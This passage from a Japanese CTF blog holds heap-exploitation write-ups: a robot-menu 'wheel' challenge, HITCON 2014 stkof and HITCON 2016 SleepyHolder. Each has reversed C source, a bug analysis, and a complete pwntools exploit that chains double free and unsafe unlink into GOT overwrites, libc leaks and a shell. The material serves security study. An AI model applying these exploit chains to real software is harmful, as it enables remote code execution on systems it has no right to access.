else { puts("Error\n"); exit(-1); } } void add_robot() { // puts, which add // choice char buf[8]; memset(menu_num_buf, 0, sizeof(menu_num_buf)); int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf) + 1); // why more one byte? if(use_count > 2) { // puts, full return; } switch(menu_num) { case 1: if(tinny_tim_flg == 0) { tinny_tim = calloc(1, 0x14); tinny_tim_flg = 1; strcpy(tinny_tim, "Tinny Tim"); use_count++; } break; case 2: if(bender_flg == 0) { // puts, Increase bender intel memset(buf, 0, 5); int inc_intel = read_menu_num(buf, 5); if(inc_intel > 4) { // puts, impossible! inc_intel = 2; } bender = calloc(1, inc_intel * 10); // TODO: check intel = inc_intel; bender_flg = 1; strcpy(bender, "Bender"); use_count++; } break; case 3: if(robot_devil_flg == 0) { // puts, inc cruelty memset(buf, 0, 5); int inc_num = read_menu_num(buf, 5); if(inc_num > 0x63) { // you are crazy inc_num = 0x14; } robot_devil = calloc(1, inc_num * 10); cruelty = inc_num; strcpy(robot_devil, "Robot Devil"); robot_devil_flg = 1; use_count++; } break; case 4: if(chain_smoker_flg == 0) { chain_smoker = calloc(1, 0xfa0); strcpy(chain_smoker, "Chain Smoker"); chain_smoker_flg = 1; use_count++; } break; case 5: if(billionaire_bot_flg == 0) { billionaire_bot = calloc(1, 0x9c40); strcpy(billionaire_bot, "Billionaire Bot"); billionaire_bot_flg = 1; use_count++; } break; case 6: if(destructor_flg == 0) { // puts, inc powerful memset(buf, 0, 5); int inc_num = read_menu_num(buf, 5); destructor = calloc(1, inc_num * 10); powerful = inc_num; destructor_flg = 1; strcpy(destructor, "Destructor"); use_count++; } break; default: break; } return; } void del_robot() { // puts, Which remove // choice memset(menu_num_buf, 0, sizeof(menu_num_buf)); int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf)); switch(menu_num) { case 1: if(tinny_tim_flg != 0) { free(tinny_tim); tinny_tim_flg = 0; use_count--; } break; case 2: if(bender_flg != 0) { free(bender); bender_flg = 0; use_count--; } break; case 3: if(robot_devil_flg != 0) { free(robot_devil); robot_devil_flg = 0; use_count--; } break; case 4: if(chain_smoker_flg != 0) { free(chain_smoker); chain_smoker_flg = 0; use_count--; } break; case 5: if(billionaire_bot_flg != 0) { free(billionaire_bot); billionaire_bot_flg = 0; use_count--; } break; case 6: if(destructor_flg != 0) { free(destructor); destructor_flg = 0; use_count--; } break; default: break; } return; } void change_name_robot() { // puts, which // choice memset(menu_num_buf, 0, 4); int menu_num = read_menu_num(menu_num_buf, 4); switch(menu_num) { case 1: if(tinny_tim_flg != 0) { // name read(0, tinny_tim, 0x14); } break; case 2: if(bender_flg != 0) { // name read(0, bender, intel * 10); } break; case 3: if(robot_devil_flg != 0) { // name read(0, robot_devil, cruelty * 10); } break; case 4: if(chain_smoker_flg != 0) { read(0, chain_smoker, 0xfa0); } break; case 5: if(billionaire_bot_flg != 0) { read(0, billionaire_bot, 0x9c40); } break; case 6: if(destructor_flg != 0) { read(0, destructor, powerful * 10); } break; default: break; } } void start_robot() { if(use_count <= 2) { // puts, fill! return; } // int rand_num = rand_func(6);? int rand_num; switch(rand_num) { case 1: if(bender_flg != 0) { // is this bug? tinny_tim_flg is correct but wrong flag is used. so can use after free show_buf(tinny_tim); break; } case 2: if(bender_flg != 0) { // are you kidding me? show_buf("are you kidding me"); // other function but same functionality break; } case 3: if(robot_devil_flg != 0) { show_buf(robot_devil); break; } case 4: if(chain_smoker_flg != 0) { show_buf(chain_smoker); break; } case 5: if(billionaire_bot_flg != 0) { show_buf(billionaire_bot); break; } case 6: if(destructor_flg != 0) { show_buf(destructor); break; } default: // welcome to hell! break; } exit(1); } void show_buf(char* buf) { printf("%s\n", buf); }
まず、いくつかの場所でmenu_num_buf
を1バイトオーバーフローしている。
このため、直下にあるbender_flg
の下位1バイトを好きなように操作できる。
この変数はbender
に割り当てられた領域がfree済みかどうかをチェックするためのもので、これを改ざんできるとdouble freeができる。
また、freeされてもアドレスが残りっぱなしになっている点も脆弱性として利用できる。
解法
まず、double freeを利用して任意のアドレスをmallocで返せることを使って、powerful
の領域をmallocで返させる。
次にpowerful
を領域のサイズとして使うrobot 6(destructor
)を適当なサイズで取得し、その後でpowerful
をより大きいに設定することで、ヒープオーバーフローができるようにする。
これでヒープ領域を書き換えてunsafe unlinkができるようになる。
unsafe unlinkができれば、グローバル変数の値を改ざんしてGOTを適当に書き換えてlibcベースをリーク、system
でシェルの起動につなげればいい。
exploitはWriteupのほぼ丸パクリ、動かなかった部分だけ修正した。
exploit
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './wheel' libc = '/lib/x86_64-linux-gnu/libc.so.6' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) libc = ELF(libc) def add_robot(robot, inc_num=0): io.recvuntil('choice :') io.sendline('1') io.recvuntil('choice :') io.sendline(str(robot)) if robot == 2: io.recvuntil('intelligence:') io.sendline(str(inc_num)) elif robot == 3: io.recvuntil('cruelty:') io.sendline(str(inc_num)) elif robot == 6: io.recvuntil('powerful:') io.sendline(str(inc_num)) def del_robot(robot): io.recvuntil('choice :') io.sendline('2') io.recvuntil('choice :') io.sendline(str(robot)) def change_name(robot, name): io.recvuntil('choice :', timeout=0.1) io.sendline('3') io.recvuntil('choice :') io.sendline(str(robot)) io.recvuntil('name:') io.send(name) # メニューの数値選択でmenu_num_bufが1バイトだけオーバーフローできる # bender_flgを好きな数値(8bit長)に書き換える def overflow_tag(bit, data='9999'): io.recvuntil('choice :') io.sendline('1') io.recvuntil('choice :') assert (len(data) == 4) io.send(data + chr(bit)) if args.DELAY: import time time.sleep(3) log.info('START') log.info("Create fake fastbin @ Bender's intel(0x603138)") intel_addr = 0x603138 add_robot(3, 0x20) # Robot Devilのcrueltyに0x20を設定 del_robot(3) # mallocできる数に限りがあるのでfreeしておく、mallocした領域や数値は0クリアされない add_robot(2, 1) # malloc Bender, intel=1 del_robot(2) # free overflow_tag(1) # freeしたBenderのbender_flgを1に書き換える change_name(2, p32(intel_addr)) # Benderの指している領域はfree済みなので、fdを書き換えることになる overflow_tag(0) # Benderをfreeされた扱いに add_robot(2, 1) # 次にintel_addrがチャンクとして返される log.info("Return Destructor's powerful(0x603148)") # intel_addrがチャンクとして返されるので、ユーザ領域としてprev_sizeとsize分下にあるpowerfulが返される add_robot(1) # 他の領域を確保するためにfree del_robot(2) del_robot(3) # free済? log.info('Unsafe Unlink') add_robot(3, 7) # RobotDevilでcalloc(70) add_robot(4) # Chain Smoker del_robot(3) # robot 4でのprev in useフラグを0にするため add_robot(6, 1) # destructor, powerful 1. ここで返されるのはheap領域の先頭に位置するチャンク # heapのレイアウトは現在 # robot 6(0x20) # robot 3(0xa0) # robot 4(0xfb0) # となっている # powerfulを書き換えてヒープオーバーフロー change_name(1, p32(0x1000)) # fdを書き換えてpowerfulを指すようになっている destructor_addr = 0x6030e8 change_name( 6, "a" * 0x8 + # パディング p64(0xb1) + # サイズのチェックが存在している、元のexploitから変更 p64(destructor_addr - 0x18) + p64(destructor_addr - 0x10) + # 偽のfdとbk、ターゲットはdestructor(0x6030e8) p64(0) + p64(0) + "b" * 0x80 + # パディング? p64(0xb0) # prev_size、0xa0からサイズを大きくして偽のチャンクを認識させる ) log.info('unlink!') del_robot(4) # unsafe unlinkによるP->bk->fd = P->fdで、destructorに0x6030d0が格納される # これにより、グローバル変数の値を任意に変更できるようになった change_name( 6, "A" * 40 + p64(0x6030e8)) # robot 1(tinny tim)の値を0x6030e8(destructor)に # この時点でrobot 1への書き込みはdestructor(0x6030e8)への書き込みになる # robot 1へ書き込んだアドレスはrobot 6(destructor)にセットされる # robot 6への書き込みはセットしたアドレスへの書き込みになる # つまり、[addr] = data def write(addr, data): change_name(1, p64(addr)) change_name(6, data) log.info('overwrite exit@GOT = ret') # menu 4の最後がretではなくexitになっているため、retにして繰り返し実行できるようにする rop_ret = 0x4015bc # ret; write(elf.got['exit'], p64(rop_ret)) write(0x603130, p64(3)) # use_count(0x603130) = 3 log.info('Leak free@GOT') # free@GOTを表示してlibcベースをリーク change_name(1, p64(elf.got['free'])) while True: io.recvuntil('choice :') io.sendline('4') # 乱数でrobotのバッファを表示する buf = io.recvuntil('!! Thx ', timeout=0.1) if '!! Thx' in buf: break else: log.info("Retry!") libc_base = u64(io.recv()[:6] + '\0\0') - libc.symbols['free'] log.info('libc base: 0x{:x}'.format(libc_base)) log.info('free = system') write(elf.got['free'], p64(libc_base + libc.symbols['system'])) write(0x603114, "sh\0") # 適当なアドレスに"sh"を書き込む del_robot(6) # この時点でrobot 6に格納されているアドレスには"sh"を指すポインタが格納されている # free = systemなので、system("sh")となる io.interactive()
細かいことはexploit中のコメントに書いた。
まとめ
double freeからunsafe unlinkに繋げられなかった、というかこのdouble freeは成立しないと思ってた。 サイズのチェックか何かあった気がしたけどそんなことはなかった、何事も試してみるのが大事だね。
Heap exploitation HITCON CTF 2014: stkof
Heap exploitation HITCON CTF 2014: stkof
Heap exploitationのお勉強、初めてWriteup途中で見ずに解けて嬉しい。
問題はここ。
参考にしたのはshellphishのhow2heap。
解く上でlibcが必要になるが、Hintととして動作環境が出されているし脆弱性を突けば任意のGOT領域の関数アドレスを表示できるので、該当するlibcのバージョンを特定して入手するのは容易のはず。
なので今回はそれを省いてローカルのlibcをいきなり使っている。
問題
stkofというバイナリだけが降ってくる。
fileとchecksecの出力は以下。
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
普通の64bitバイナリといった感じになっている。
解析
直接動作させてみると、何も出力されず何をしていいか分からなかった。
リバーシングしてみたところ、ほとんど何も出力しないが入力は受け付けるようになっていた。
ちゃんと解析しないことには動作させることもままならなかったので、手動デコンパイルした。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define ARR_SIZ 0x100000 int read_input(); int alloc_new_chunk(); int del_chunk(); int check_len(); int main(int argc, char** argv){ // alarm(120); // time limit. temporary disabled char buf[0x68]; int ret_val; while(1) { if(fgets(buf, 0xa, stdin) == 0) break; switch(atoi(buf)) { case 1: ret_val = alloc_new_chunk(); break; case 2: ret_val = read_input(); break; case 3: ret_val = del_chunk(); break; case 4: ret_val = check_len(); break; default: ret_val = -1; break; } if(ret_val == 0) { puts("OK\n"); } else { puts("FAIL\n"); } fflush(stdout); } return 0; } int top = 0; char* str_arr[ARR_SIZ+1]; // pointer array int alloc_new_chunk() { char buf[0x68]; fgets(buf, 0x10, stdin); long long input_num = atoll(buf); char* chunk = malloc(input_num); if(chunk == 0) return -1; top++; str_arr[top] = chunk; printf("%d\n", top); return 0; } // read input-length // read input to input-length int read_input() { char buf[0x68]; fgets(buf, 0x10, stdin); long input_num = atoi(buf); if(input_num > 0x100000) return -1; if(str_arr[input_num] == 0) return -1; fgets(buf, 0x10, stdin); long long read_len = atoll(buf); char* char_ptr = str_arr[input_num]; int len; while((len = fread(char_ptr, 1, read_len, stdin)) > 0) { char_ptr += len; read_len -= len; } if(read_len != 0) return -1; return 0; } int del_chunk() { char buf[0x68]; fgets(buf, 0x10, stdin); long input_num = atol(buf); if(input_num > ARR_SIZ) return -1; if(str_arr[input_num] == 0) return -1; free(str_arr[input_num]); str_arr[input_num] = 0; return 0; } int check_len() { char buf[0x68]; fgets(buf, 0x10, stdin); long input_num = atol(buf); if(input_num > ARR_SIZ) return -1; if(str_arr[input_num] == 0) return -1; if(strlen(str_arr[input_num]) > 3) { puts("...\n"); } else { puts("//TODO\n"); } return 0; }
1から4までの数字を受け付けて、malloc、キー入力、free、長さのチェックができることが分かる。
キー入力で長さのチェックがないため、ヒープでのバッファオーバーフローが存在していることが分かる。
また、mallocしたチャンクはグローバル領域の配列で管理されていて、ASLRでもアドレスがランダム化されない。
freeするとアドレスは0クリアされるので、double-freeはできない。
解法
ここではunsafe unlinkという手法を使う。
mallocしたチャンクを書き換えてfree済みであると誤認させ、unlinkという機能を使わせることによって、あるメモリ領域を書き換えることができるという手法である。
手法自体はhow2heapとかkatagaitaiのスライドとかに解説がある。
unsafe unlinkで、unlinkするチャンクのアドレスが格納されている場所を、その場所から0x18上ぐらいの位置のアドレスに書き換えることができる。
配列にチャンクが格納されていることと併せて考えると、配列の中身を配列自身のアドレスに書き換えられることになる。
そうすると、配列に格納されたアドレスへの書き込みで配列中のアドレスを任意の値に設定できるので、任意のアドレスへの書き込みができることになる。
これを利用してfree@GOTをputs@PLTに書き換えたあと、配列中のアドレスをGOTに設定することで関数アドレスを表示させたり、smallbinを指すfdを表示させたりして、libcベースをリークさせる。
smallbinを指すfdを表示させる方法を使った。
これによりlibc内の任意の命令を好きなように呼び出せるようになったので、oneshot RCEを呼び出してシェルを起動すればいい。
呼び出しは、libcベースのリークと同じように適当なGOTの関数アドレスを書き換えてやればいい。
exploit
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * from time import sleep context.update(arch='amd64') exe = './stkof' libc = '/lib/x86_64-linux-gnu/libc.so.6' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) def malloc(length): io.clean() io.sendline('1') sleep(0.1) io.sendline(str(length)) idx = int(io.recvline()) io.recvuntil('OK') return idx def read_input(idx, payload): io.clean() io.sendline('2') sleep(0.1) io.sendline(str(idx)) sleep(0.1) io.sendline(str(len(payload))) sleep(0.1) io.send(payload) io.recvuntil('OK', timeout=0.1) # putsを途中で書き換えるためタイムアウトさせる。雑 def free(idx): io.sendline('3') sleep(0.1) io.sendline(str(idx)) return io.recvuntil('OK') def check_len(idx): io.clean() io.sendline('4') sleep(0.1) io.sendline(str(idx)) log.info(io.recvline()) io.recvuntil('OK') # unsafe unlink # fastbinだとunlinkされない log.info('UNLINK') malloc(0x80) # 1 システムのチャンクを避けるため malloc(0x80) # 2 malloc(0x80) # 3 これをunlinkする、サイズを縮めるためやや大きく確保する malloc(0x80) # 4 log.info('malloc 4 chunks.') arr_ptr = 0x00602140 # チャンクが格納される配列の先頭アドレス ptr_3 = arr_ptr + 8 * 3 # idx 3のチャンクのアドレス chunk_siz = 0x90 log.info('unlink(0x{:x})'.format(ptr_3)) payload = 'A' * 0x80 # padding. userdata(0x20), 2はこれで埋める # 3の領域に偽のヘッダを格納する、ユーザ領域をヘッダの最初にするためにチャンクを短くする必要がある payload += 'B' * 0x18 # prev_sizeとチャンクのサイズ、パディングが本来入る位置、サイズを縮めるのでその分埋める payload += p64(chunk_siz - 0x10 + 1) # size, PREV_INUSEを1にする(2はunlinkしないので)。サイズを本来よりも0x10小さくする payload += p64(ptr_3 - 0x18) # arr[3]->fd->bk == arr[3] を満すように payload += p64(ptr_3 - 0x10) # arr[3]->bk->fd == arr[3] を満すように payload += 'B' * (chunk_siz - 0x10 - 0x10 - 0x10) # userdata、余った領域を適当に埋める。0x10 = fd+bk, 0x10 = 縮めた分 payload += p64(0x80) # prev_size、こっちも本来より0x10縮める # 4のサイズを上書きし、直前のチャンクがfree済みのように見せかける payload += p64(0x90) read_input(2, payload) log.info('send payload for heap overflow.') # 3がfree済みであるように書き換えたので、free(4)でその上の3がunlinkされるはず free(4) # 全てうまくいけばunlinkできる log.info('unlink!') # この時点でidx 3の値はは配列の先頭アドレスになる # libc leak # free@GOTをputs@PLTにおきかえて、チャンクの中身を出力させてsmallbinのアドレスを出力させる # fdが格納されているところまでオーバーフローさせればヌル終端されてないのでできるはず idx1 = malloc(0x80) # オーバーフローさせるチャンク、fastbinでもいいかも idx2 = malloc(0x80) # smallbinに繋ぐチャンク idx3 = malloc(0x80) # 結合を防ぐ free(idx2) # これでfdがsmallbinに繋がる # freeをputsにする log.info('free@GOT (0x{:x}) <= puts@PLT (0x{:x})'.format(elf.got['free'], elf.plt['puts'])) read_input(3, p64(elf.got['free'])) # arr[0] = free@GOT read_input(0, p64(elf.plt['puts'])) # free@GOT = puts@PLT # オーバーフローさせてヌル終端を消す log.info('overflow') payload = 'C' * 0x80 payload += 'D' * 0x8 # prev_size? payload += 'E' * 0x8 # 次のチャンクのサイズ、オーバーフローが目的なので適当な値で埋めてしまう read_input(idx1, payload) ret = free(idx1) # freeがputsなのでfdが出力される ret = ret[:-2].strip() smallbin = u64(ret[-6:].ljust(8, '\0')) smallbin_offset = 0x3c4b78 libc_base = smallbin - smallbin_offset log.info('libc base: 0x{:x}'.format(libc_base)) # putsをoneshot rceにする # puts@GOTのアドレスをoneshot rceのアドレスにしてシェルを起動する log.info('Write Oneshot RCE to puts@GOT') one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] # oneshot rce, libcによって違う one_gadget = one_gadget[0] + libc_base read_input(3, p64(elf.got['puts'])) # arr[0] = puts@GOT read_input(0, p64(one_gadget)) # puts@GOT = oneshot_rce io.interactive()
libc内のオフセットは環境によって違うので適宜読み替えて欲しい。
まとめ
初めてほぼ自力で解けたのでとても嬉しい。 直前の問題でもunsafe unlinkを使っていたのもあって、解法を簡単に思い付けた。 やっている最中にチャンクのサイズとかヒープのレイアウトとかも間違えていたりしたので、まだまだ練習が必要だと感じた。 もっと速く解くことを目標にする。
Heap exploitation HITCON CTF 2016: SleepyHolder
Heap exploitationのお勉強、HITCON2016 SleepyHolderを解いたのでそのメモ。
問題
shellphishの方のリンクはヒントも載っている上にlibcがないので見ない方がいいかも。
SleepyHolderというプログラムとlibcが降ってくる。
解析
リバースしたソースコードはこんな感じ。
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <stdint.h> #include <string.h> void keep(); void wipe(); void renew(); int main(int argc, char** argv){ // setvbuf // put Waking holder int rand_fd = open("/dev/urandom", 0); int rand_num; read(rand_fd, &rand_num, sizeof(int)); // size 4 rand_num &= 0xfff; malloc(rand_num); sleep(3); // puts, have secret? // puts, help while(1) { // 1 keep secret // 2 wipe secret // 3 renew secret int input_num; char buf[4]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); input_num = atoi(buf); switch(input_num) { case 1: keep(); break; case 2: wipe(); break; case 3: renew(); break; default: break; } } return 0; } char* big_secret; // c0 char* huge_secret; // c8 char* small_secret; // d0 int big_flg; // d8 int huge_lock; // dc int small_flg; // e0 void keep() { // 1. small secret // 2. big secret if(huge_lock == 0) { // 3. keep huge and lock } char buf[4]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); int input_num = atoi(buf); switch(input_num) { case 1: if(small_flg == 0) { small_secret = calloc(1, 0x28); small_flg = 1; // puts, tell secret read(0, small_secret, 0x28); } break; case 2: if(big_flg == 0) { big_secret = calloc(1, 0xfa0); big_flg = 1; // puts, tell secret read(0, big_secret, 0xfa0); } break; case 3: if(huge_lock == 0) { huge_secret = calloc(1, 0x61a80); // huge huge_lock = 1; // puts, tell secret read(0, huge_secret, 0x61a80); } break; default: break; } } void wipe() { // puts, which wipe // 1. small // 2. big char buf[4]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); int input_num = atoi(buf); switch(input_num) { case 1: free(small_secret); small_flg = 0; break; case 2: free(big_secret); big_flg = 0; break; default: break; } } void renew() { // puts, which renew? // 1. small: 0x28, fastbin? // 2. big: 0xfa0, largebin? char buf[4]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); int input_num = atoi(buf); switch(input_num) { case 1: if(small_flg != 0) { // puts, tell read(0, small_secret, 0x28); } break; case 2: if(big_flg != 0) { // puts, tell read(0, big_secret, 0xfa0); } break; default: break; } }
freeするときにチェックがないことから、double freeができそうというのが分かる。
shellphishの方を見てると、巨大な領域を確保することから連続してfastbinをdouble freeすることも分かる。
それ以上は分からなかった。
ここでもうwriteupを見て、exploitを解析しながら解いた。
unsafe unlinkも同時に使うらしい。
unsafe unlinkはkatagaitai勉強会の第1回目のスライドを参考にした。
exploit
手順としては、まず巨大な領域のmallocを利用してdouble freeをしたあと、偽のチャンクヘッダを作成してからunlinkして、unsafe unlinkを成立させる。
unsafe unlinkによってグローバル領域にあるsmall_secretにはsmall_secret+0x18の値が格納される。
次に、small_secret+0x18に書き込みをしてグローバル変数を改ざんする。
big_secretにfree@GOTを格納することで、freeの呼び出しをputsの呼び出しにする。
これでputs@PLTを出力してlibcベースを特定し、そこからoneshot gadgetでsystemを起動できるアドレスを取得する。
次に、small_secretのアドレスをまた書き換えてputs@GOTにし、そこにoneshot gadgetを設定する。
これで次のputsの呼び出しでシェルが起動できる。
exploitはこんな感じ、ほとんどwriteupの方のコピーで動作のメモをしただけ。
タイミングの問題か、引数でDEBUGを指定しないとうまく動いてくれない。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './SleepyHolder' libc = './libc.so.6_375198810bb39e6593a968fcbcf6556789026743' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) libc = ELF(libc) io.recvuntil("Hey! Do you have any secret?") def keep(size_idx, payload): io.sendlineafter('3. Renew secret\n', '1') io.sendline(str(size_idx)) io.sendafter('Tell me your secret: ', payload) def wipe(size_idx): io.sendlineafter('3. Renew secret\n', '2') io.sendlineafter('2. Big secret\n', str(size_idx)) def renew(size_idx, payload): io.sendlineafter('3. Renew secret\n', '3') io.sendline(str(size_idx)) io.sendafter('Tell me your secret: ', payload) def unlink(small_ptr): # small_secretに格納されているアドレスを、unsafe unlinkで自身の上位にある領域のアドレスにする keep(1, "AAAA") # small_secret, fastbin keep(2, "AAAA") # big_secret, large bin wipe(1) keep(3, "AAAA") # 巨大な領域を確保すると、fastbinsに繋がれているチャンクがunsortedbinに移される wipe(1) # unsortedbinに移ったため、fastbinでのチェックがなくなるためdouble-freeできる # 偽のfreeチャンクのヘッダを作る # 0はprev_size、0x21はサイズになる。1はPREV_INUSEのフラグで、unlinkさせないためにセット payload = p64(0) + p64(0x21) # 偽のfd、0x18はunlinkでのp->fd->bk == pのチェックを回避するため(bkは0x18分下の位置) payload += p64(small_ptr - 0x18) # 偽のbk、0x10はp->BK->FD == pのチェックを回避するため(fdは0x10分したの位置) payload += p64(small_ptr - 0x10) payload += p64(0x20) # 偽のprev_size、チェックがあるので整合を保つ keep(1, payload) wipe(2) # unsafe unlink # fastbinを格納しているアドレスが格納されているグローバル領域をunlinkで書き換えられた # 具体的には自身より-0x18の位置(bk)を指している # グローバル変数のレイアウト # char* big_secret; // c0 # char* huge_secret; // c8 # char* small_secret; // d0 # int big_flg; // d8 # int huge_lock; // dc # int small_flg; // e0 # small_secretへの書き込みで、big_secretなどの値を書き換えられる def leak(big_ptr): # small_secretが指す領域を書き換えて、グローバル変数が指す値を改ざんする payload = "A" * 8 # small_secret - 0x18への書き込み、何もないのでパディング payload += p64(elf.got['free']) # big_secretへの書き込み、free@GOTを指すようにする payload += "A" * 8 # huge_secretはもう使わないので適当に埋める payload += p64(big_ptr) # small_secretはbig_secretを指しっぱなしにする payload += p32(1) # big_flagを1に、mallocで確保されていることにする # これで、GOTのfreeのアドレスを書き換えて好きな関数を呼び出せるようになる # unlinkでsmall_secretが書き換えられたので、renewではbig_secretへと書き込まれる renew(1, payload) renew(2, p64(elf.plt['puts'])) # free@GOT -> puts@PLT renew(1, p64(elf.got['puts'])) wipe(2) # free@GOTにputs@PLTが書き込まれているので、putsが呼び出される # 引数はbig_secretなので、renew(2, )で書き込まれたputs@PLTが出力される # libc内の関数のアドレスが分かったので、オフセットからlibcベースが分かる puts_addr = u64(io.recvline()[:6] + "\x00\x00") libc_base = puts_addr - libc.symbols['puts'] one_gadget = libc_base + 0x4525a # one_gadgetを使ってsystemを起動できるアドレスを探す log.info("libc base: 0x%x" % libc_base) log.info("one_gadget address: 0x%x" % one_gadget) return one_gadget def pwn(one_gadget): payload = "A" * 0x10 # padding payload += p64(elf.got['puts']) # small_secretにputs@GOTをセット renew(1, payload) renew(1, p64(one_gadget)) # putsでone_gadgetが呼び出せるように small_ptr = 0x006020d0 big_ptr = 0x006020c0 log.info('Unsafe unlink') unlink(small_ptr) log.info('Leak libc') one_gadget = leak(big_ptr) log.info('PWN!') pwn(one_gadget) io.interactive()
学んだこと
unsafe unlink